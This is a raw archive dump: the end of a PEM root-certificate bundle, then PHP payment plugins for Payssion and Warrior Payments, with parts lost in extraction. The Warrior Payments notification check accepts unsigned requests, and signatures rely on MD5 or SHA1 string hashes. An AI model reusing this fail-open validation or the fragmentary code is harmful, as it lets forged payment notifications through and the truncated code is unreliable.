3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH 6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe 2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R cGzM7vRX+Bi6hG6H -----END CERTIFICATE----- IdenTrust Public Sector Root CA 1 ================================= -----BEGIN CERTIFICATE----- MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6 Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL 4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4 Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ 3Wl9af0AVqW3rLatt8o+Ae+c -----END CERTIFICATE----- Entrust Root Certification Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP /vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6 0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+ vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO e4pIb4tF9g== -----END CERTIFICATE----- Entrust Root Certification Authority - EC1 ========================================== -----BEGIN CERTIFICATE----- MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5 IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef 9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8 kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G -----END CERTIFICATE----- CFCA EV ROOT ============ -----BEGIN CERTIFICATE----- MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD 7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7 xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB /wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua 4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su -----END CERTIFICATE----- PK\'payment/payssion/lib/PayssionClient.phpnu[ array( 'api_key', 'pm_id', 'amount', 'currency', 'track_id', 'sub_track_id', 'secret_key' ), 'query' => array( 'api_key', 'transaction_id', 'track_id', 'sub_track_id', 'secret_key' ), 'getDetail' => array( 'api_key', 'transaction_id', 'track_id', 'sub_track_id', 'secret_key' ) ); /** * @var array */ protected $http_errors = array ( 400 => '400 Bad Request', 401 => '401 Unauthorized', 500 => '500 Internal Server Error', 501 => '501 Not Implemented', 502 => '502 Bad Gateway', 503 => '503 Service Unavailable', 504 => '504 Gateway Timeout', ); /** * @var bool */ protected $is_success = false; /** * @var array */ protected $allowed_request_methods = array( 'get', 'put', 'post', 'delete', ); /** * @var boolean */ protected $ssl_verify = true; /** * Constructor * * @param string $username Username * @param string $password Password */ public function __construct($api_key, $secret_key) { $this->api_key = $api_key; $this->secret_key = $secret_key; $validate_params = array ( false === extension_loaded('curl') => 'The curl extension must be loaded for using this class!', false === extension_loaded('json') => 'The json extension must be loaded for using this class!' ); $this->checkForErrors($validate_params); } /** * Set Api URL * * @param string $url Api URL */ public function setUrl($url) { self::$api_url = $url; } /** * Sets SSL verify * * @param bool $ssl_verify SSL verify */ public function setSSLverify($ssl_verify) { $this->ssl_verify = $ssl_verify; } /** * Request state getter * * @return bool */ public function isSuccess() { return $this->is_success; } /** * create payment order * * @param $params create Params * @return array */ public function create(array $params) { return $this->call( 'create', 'post', $params ); } /** * query payment transaction * * @param $params query Params * @return array */ public function query(array $params) { return $this->call( 'query', 'post', $params ); } /** * get payment detail * * @param $params query Params * @return array */ public function getDetail(array $params) { return $this->call( 'getDetail', 'post', $params ); } /** * Method responsible for preparing, setting state and returning answer from rest server * * @param string $method * @param string $request * @param array $params * @return array */ protected function call($method, $request, $params) { $this->is_success = false; $validate_params = array ( false === is_string($method) => 'Method name must be string', false === $this->checkRequestMethod($request) => 'Not allowed request method type', true === empty($params) => 'params is null', ); $this->checkForErrors($validate_params); $params['api_key'] = $this->api_key; $params['secret_key'] = $this->secret_key; $params['api_sig'] = $this->getSig($params, self::$sig_keys[$method]); $response = $this->pushData($method, $request, $params); $response = json_decode($response, true); if (isset($response['result_code']) && 200 == $response['result_code']) { $this->is_success = true; } return $response; } /** * Checking error mechanism * * @param array $validateArray * @throws Exception */ protected function getSig(array &$params, array $sig_keys) { $msg_array = array(); foreach ($sig_keys as $key) { $msg_array[$key] = isset($params[$key]) ? $params[$key] : ''; } $msg_array['secret_key'] = $this->secret_key; $msg = implode('|', $msg_array); $sig = md5($msg); return $sig; } /** * Checking error mechanism * * @param array $validateArray * @throws Exception */ protected function checkForErrors(&$validate_params) { foreach ($validate_params as $key => $error) { if ($key) { throw new Exception($error, -1); } } } /** * Check if method is allowed * * @param string $method_type * @return bool */ protected function checkRequestMethod($method_type) { $request_method = strtolower($method_type); if(in_array($request_method, $this->allowed_request_methods)) { return true; } return false; } /** * Method responsible for pushing data to server * * @param string $method * @param string $method_type * @param array|string $vars * @return array * @throws Exception */ protected function pushData($method, $method_type, $vars) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, self::$api_url. $method); curl_setopt($ch, CURLOPT_POST, true); if (is_array($vars)) $vars = http_build_query($vars, '', '&'); curl_setopt($ch, CURLOPT_POSTFIELDS, $vars); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, $this->getHeaders()); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->ssl_verify); if ($this->ssl_verify) { curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . '/cacert.pem'); } $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if (isset($this->http_errors[$code])) { throw new Exception('Response Http Error - ' . $this->http_errors[$code], $code); } $code = curl_errno($ch); if (0 < $code) { throw new Exception('Unable to connect to ' . self::$api_url . ' Error: ' . "$code :". curl_error($ch), $code); } curl_close($ch); return $response; } protected function &getHeaders() { $langVersion = phpversion(); $uname = php_uname(); $ua = array( 'version' => self::VERSION, 'lang' => 'php', 'lang_version' => $langVersion, 'publisher' => 'payssion', 'uname' => $uname, ); $headers = array( 'X-Payssion-Client-User-Agent: ' . json_encode($ua), "User-Agent: Payssion/php/$langVersion/" . self::VERSION, 'Content-Type: application/x-www-form-urlencoded', ); return $headers; } }PK\ j=='payment/payssion/scripts/payssion.phtmlnu[setLayout('layout.phtml'); ?>

    method; ?> PK\P\++payment/payssion/payssion.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Payssion extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_REVISION = '5.2.2'; protected $defaultTitle = 'Payssion'; protected $defaultDescription = 'accepts all major credit cards'; protected $methods = array( 'fpx_my' => 'Myclear FPX (Malaysia)', 'hlb_my' => 'Hong Leong (Malaysia)', 'maybank2u_my' => 'Maybank2u (Malaysia)', 'cimb_my' => 'CIMB Clicks (Malaysia)', 'affinepg_my' => 'Affin Bank (Malaysia)', 'amb_my' => 'Am online (Malaysia)', 'rhb_my' => 'RHB Now (Malaysia)', 'molwallet_my' => 'MOLWallet (Malaysia)', 'webcash_my' => 'Webcash (Malaysia)', '7eleven_my' => '7-eleven (Malaysia)', 'esapay_my' => 'Esapay (Malaysia)', 'epay_my' => 'epay (Malaysia)', 'enets_sg' => 'eNets (Singapore)', 'singpost_sg' => 'SAM by SingPost (Singapore)', 'atmva_id' => 'ATMVA (Indonesia)', 'nganluong_vn' => 'Nganluong (Vietnam)', 'dragonpay_ph' => 'Dragonpay (Philippines)', 'molpoints' => 'CherryCredits (Global including South East)', // '' => 'Scratch cards (China) / MangirKart (Turkey)', 'alipay_cn' => 'Alipay (China)', 'cashu' => 'cashU (Middle East & North Africa)', 'onecard' => 'onecard (Middle East & North Africa)', 'paybyme_tr' => 'pabyme visa (Turkey)', 'ttnet_tr' => 'TTNET ÖdemeT (Turkey)', 'dineromail_ar' => 'dineromail (Argentina)', 'bancodobrasil_br' => 'bancodobrasil (Brazil)', 'itau_br' => 'itau (Brazil)', 'boleto_br' => 'Boleto (Brazil)', 'bradesco_br' => 'bradesco (Brazil)', 'hsbc_br' => 'hsbc (Brazil)', 'caixa_br' => 'caixa (Brazil)', 'santander_br' => 'Santander (Brazil)', 'visa_br' => 'visa (Brazil)', 'mastercard_br' => 'mastercard (Brazil)', 'dinersclub_br' => 'dinersclub (Brazil)', 'americanexpress_br' => 'americanexpress (Brazil)', 'elo_br' => 'elo (Brazil)', 'hipercard_br' => 'hipercard (Brazil)', 'bancomer_mx' => 'bancomer (Mexico)', 'banamex_mx' => 'banamex (Mexico)', 'santander_mx' => 'santander (Mexico)', 'oxxo_mx' => 'oxxo (Mexico)', 'debitcard_mx' => 'debit card: visa or mastercard (Mexico)', 'redpagos_uy' => 'redpagos (Uruguay)', 'bancochile_cl' => 'Banco de Chile (Chile)', 'redcompra_cl' => 'RedCompra (Chile)', 'qiwi' => 'QIWI (Global)', 'Yandex.Money' => 'yamoney (Global)', 'yamoneyac' => 'Bank Card: Yandex.Money (Russia)', 'yamoneygp' => 'Cash: Yandex.Money (Russia)', 'moneta_ru' => 'Moneta (Russia)', 'sberbank_ru' => 'Sberbank (Russia)', 'alfaclick_ru' => 'Alfa-Click (Russia)', 'qbank_ru' => 'Qbank (Russia)', 'promsvyazbank_ru' => 'Promsvyazbank (Russia)', 'rsb_ru' => 'Russian Standard (Russia)', 'faktura_ru' => 'Faktura (Russia)', 'russianpost_ru' => 'Russian Post centres (Russia)', 'banktransfer_ru' => 'Russia Bank transfer (Russia)', 'contact_ru' => 'CONTACT (Russia)', 'euroset_ru' => 'Euroset (Russia)', 'beeline_ru' => 'Beeline (Russia)', 'megafon_ru' => 'Megafon (Russia)', 'mtc_ru' => 'MTC (Russia)', 'tele2_ru' => 'Tele2 (Russia)', 'paysafecard' => 'Paysafecard (Global)', 'sofort' => 'Sofort (Europe)', 'trustpay' => 'Trustpay (Europe)', 'giropay_de' => 'Giropay (Germany)', 'eps_at' => 'EPS (Austria)', 'bancontact_be' => 'Bancontact/Mistercash (Belgium)', 'p24_pl' => 'P24 (Poland)', 'ideal_nl' => 'iDeal (Netherlands)', 'teleingreso_es' => 'Teleingreso (Spain)', 'multibanco_pt' => 'Multibanco (Portugal)', 'neosurf' => 'Neosurf (France)', 'polipayment' => 'Polipayment (Australia & New Zealand)', 'openbucks' => 'openbucks (North America)', 'bitcoin' => 'bitcoin, litecoin… (Global)', ); protected static $sig_keys = array('api_key', 'pm_id', 'amount', 'currency', 'track_id', 'sub_track_id', 'secret_key'); public function supportsCancelPage() { return true; } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('api_key') ->setLabel("API Key\n" . "your Payssion account -> App -> -> Edit -> API Key") ->addRule('required'); $form->addText('secret_key', array('class' => 'el-wide')) ->setLabel("Secret Key\n" . "your Payssion account -> App -> -> Edit -> Secret Key") ->addRule('required'); } public function isConfigured() { return ($this->getConfig('api_key') && $this->getConfig('secret_key')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $methods = "\r\n"; $action = new Am_Paysystem_Action_HtmlTemplate_Payssion($this->getDir(), 'payssion.phtml'); $action->action = $this->getPluginUrl('method'); $action->invoice_id = $invoice->public_id; $action->method = $methods; $result->setAction($action); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $actionName = $request->getActionName(); switch ($actionName) { case 'method': $this->selectMethod($request); break; default: parent::directAction($request, $response, $invokeArgs); break; } } protected function selectMethod(Am_Mvc_Request $request) { $iId = $request->getParam('invoice'); if(!($this->invoice = $this->getDi()->invoiceTable->findFirstByPublicId($iId))) { throw new Am_Exception_InputError('Invoice not found'); } require_once dirname(__FILE__) .'/lib/PayssionClient.php'; $payssion = new PayssionClient($this->getConfig('api_key'), $this->getConfig('secret_key')); try { $res = $payssion->create(array( 'amount' => $this->invoice->first_total, 'currency' => $this->invoice->currency, 'pm_id' => $request->getParam('pm_id'), 'description' => $this->invoice->getLineDescription(), 'track_id' => $this->invoice->public_id, //optional, your order id or transaction id 'sub_track_id' => $this->invoice->public_id, //optional 'payer_name' => $this->invoice->getUser()->getName(), 'payer_email' => $this->invoice->getUser()->email, 'notify_url' => $this->getPluginUrl('ipn'), //optional, the notify url on your server side 'success_url' => $this->getReturnUrl(),//optional, the redirect url after success payments 'redirect_url' => $this->getCancelUrl() //optional, the redirect url after pending or failed payments )); } catch (Exception $e) { //handle exception $this->getDi()->errorLogTable->log("Payssion Error: {$e->getMessage()}"); $this->getDi()->response->redirectLocation($this->getCancelUrl()); } if ($payssion->isSuccess()) { //handle success $todo = $res['todo']; if ($todo) { $todo_list = explode('|', $todo); if (in_array("instruct", $todo_list)) { //show offline bank account info by showorder param $view = $this->getDi()->view; $view->title = ___('Offline bank account info'); $view->content = ""; foreach ($res['bankaccount'] as $k => $v) $view->content .= "$k: $v
    "; $view->display('member/layout.phtml'); return; } else if (in_array("redirect", $todo_list)) { //redirect the users to the redirect url $this->getDi()->response->redirectLocation($res['redirect_url']); } } } $this->getDi()->errorLogTable->log("Payssion Error: Create payment is failed " . print_r($res, true)); $this->getDi()->response->redirectLocation($this->getCancelUrl()); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function createTransaction(Am_Mvc_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Payssion($this, $request, $response, $invokeArgs); } function getReadme() { $url = $this->getPluginUrl('ipn'); return <<result = $this->request->getPost(); parent::process(); } public function validateSource() { $check_array = array( $this->getPlugin()->getConfig('api_key'), $this->result['pm_id'], $this->result['amount'], $this->result['currency'], $this->result['track_id'], $this->result['sub_track_id'], $this->result['state'], $this->getPlugin()->getConfig('secret_key') ); $check_msg = implode('|', $check_array); return md5($check_msg) == $this->result['notify_sig']; } public function findInvoiceId() { return $this->result['track_id']; } public function validateStatus() { return (in_array($this->result['state'], array('completed', 'paid_partial'))); } public function getUniqId() { return (string) $this->result['transaction_id']; } public function validateTerms() { $this->assertAmount($this->invoice->first_total, $this->result['amount']); return true; } }PK\/1payment/warrior-payments.phpnu[paysystemList->getList() as $k => $p) { if ($p->getId() == $this->getId()) $p->setPublic(false); } $di->billingPlanTable->customFields()->add(new Am_CustomFieldText(self::WP_PRODUCT_ID, "Warrior Payments Product ID")); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('ipn_secret') ->setLabel('Warrior Payments IPN Secret'); } protected function _afterInitSetupForm(Am_Form_Setup $form) { parent::_afterInitSetupForm($form); $form->removeElementByName($this->_configPrefix . $this->getId() . '.auto_create'); } public function getConfig($key=null, $default=null) { if($key == 'auto_create') return true; return parent::getConfig($key, $default); } public function isNotAcceptableForInvoice(Invoice $invoice) { return; } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->getParam('WSO_SALE_ACTION') == 'SALE') return new Am_Paysystem_Transaction_WarriorPaymentsSale($this, $request, $response, $invokeArgs); if($request->getParam('WSO_SALE_ACTION') == 'REFUNDED') return new Am_Paysystem_Transaction_WarriorPaymentsRefund($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<$url Don't forget to configure product option 'Warrior Payments Product ID' CUT; } } abstract class Am_Paysystem_Transaction_WarriorPayments extends Am_Paysystem_Transaction_Incoming { public function getAmount() { return moneyRound($this->request->get('AMT')); } public function validateSource() { $data = $this->request->getRequestOnlyParams(); if(!($secret = $this->getPlugin()->getConfig('ipn_secret')) || !($sign = $data['WSO_SIGNATURE'])) return true; unset($data['WSO_SIGNATURE']); ksort($data); $encoded_data = http_build_query($data); $signature = sha1($encoded_data . $secret); return $signature == $sign; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function findInvoiceId() { } } class Am_Paysystem_Transaction_WarriorPaymentsSale extends Am_Paysystem_Transaction_WarriorPayments { protected $_autoCreateMap = array( 'name_f' => 'FIRSTNAME', 'name_l' => 'LASTNAME', 'email' => 'EMAIL', 'user_external_id' => 'EMAIL', ); function autoCreateInvoice() { if (!($item_id = $this->request->get('WSO_PRODUCT_ID'))) return; if(!($billing_plan = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData(Am_Paysystem_WarriorPayments::WP_PRODUCT_ID, $item_id))) return; if(!($product = $billing_plan->getProduct())) return; $userTable = $this->getPlugin()->getDi()->userTable; $userInfo = $this->fetchUserInfo(); $externalId = $this->generateUserExternalId($userInfo); $user = null; if ($externalId) $user = $userTable->findFirstByData('external_id', $externalId); if (!$user) { $user = $userTable->findFirstByEmail($userInfo['email']); if ($user) $user->data()->set('external_id', $externalId)->update(); } if (!$user) { $user = $userTable->createRecord($userInfo); if(!$user->login) $user->generateLogin(); if(!$user->pass) $user->generatePassword(); else $user->setPass($user->pass); $user->data()->set('external_id', $externalId); $user->insert(); if ($this->getPlugin()->getDi()->config->get('registration_mail')) 